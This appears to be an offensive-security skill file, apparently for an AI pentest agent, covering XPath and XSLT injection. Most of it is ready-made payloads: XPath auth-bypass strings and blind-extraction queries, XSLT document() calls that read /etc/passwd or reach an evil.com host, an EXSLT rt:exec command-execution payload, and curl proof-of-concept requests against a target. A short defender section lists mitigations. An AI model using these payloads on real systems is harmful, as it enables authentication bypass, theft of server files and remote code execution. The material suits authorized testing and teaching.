- name
- xpath-xslt
- description
- XPath + XSLT injection — query manipulation in XML data stores, server-side XSLT RCE via document() / EXSLT extensions.
- metadata
- {"when_to_use":"xpath xslt xml injection xpath_string xsl:value-of document()","mitre_attack":"T1190","subdomain":"injection","upstream_ref":"skills/_corpus/payloads/XPATH Injection/"}
# XPath + XSLT Injection
## XPath Injection
XPath = XML query language. User input concatenated into a query string = injection. Same shape as SQL injection but on XML data.
### Auth bypass
```python
# Vulnerable
query = f"//user[username='{user}' and password='{pw}']"
# Payload
user = "' or '1'='1" → //user[username='' or '1'='1' and password='']
user = "admin'] | //user[*='" → returns all users
```
### Blind extraction
```bash
# Boolean
//user[username='admin' and substring(password, 1, 1)='a']
# Time-based — XPath has no sleep, but some impls support extensions
```
## XSLT Injection
Worse than XPath: XSLT is Turing-complete and many engines support
file I/O and RCE.
### document() function — file read
```xml
<xsl:value-of select="document('file:///etc/passwd')"/>
<xsl:value-of select="document('http://evil.com/x')"/> ← SSRF
```
### EXSLT — RCE on some engines
```xml
<!-- Saxon -->
<xsl:value-of select="saxon:evaluate('1+1')"/>
<!-- libxslt w/ Xalan-Java extension -->
<xsl:value-of select='rt:exec(rt:getRuntime(), "id")'/>
```
### Reflected XSS via XSLT
```xml
<xsl:value-of select="//input" disable-output-escaping="yes"/>
<!-- attacker-controlled XML → unescaped output → XSS -->
```
## Detection
- Endpoint accepts XML w/ XSLT transform (XML report builders, SOAP responses w/ XSLT)
- Apps using XPath: legacy intranets, file-based config querying, XML feeds
## PoC
```bash
# XPath
curl -X POST "$TARGET/login" -d "user=' or '1'='1&pass=anything"
# XSLT file read
curl -X POST "$TARGET/transform" --data-binary @- <<'EOF'
<?xml version="1.0"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/">
<xsl:value-of select="document('file:///etc/passwd')"/>
</xsl:template>
</xsl:stylesheet>
EOF
```
## Severity
- XPath auth bypass: Critical 9.8
- XSLT file read: Critical 9.0
- XSLT RCE: Critical 10.0
- Blind XPath extraction: High 7-8
## Defender
- Use parameterized XPath via libraries (`lxml.etree.XPath(expr)` w/ variable bindings)
- Disable XSLT extensions by default
- Use `XSLT_SECPREFS_NO_NETWORK | XSLT_SECPREFS_NO_FILE` (libxslt)
- Sanitize / strict-validate XML input schema
## Cross-references
- Upstream: `skills/_corpus/payloads/XPATH Injection/` + `XSLT Injection/`
- XXE (different XML class): `skills/exploit/web/xxe.md`
عرض على GitHub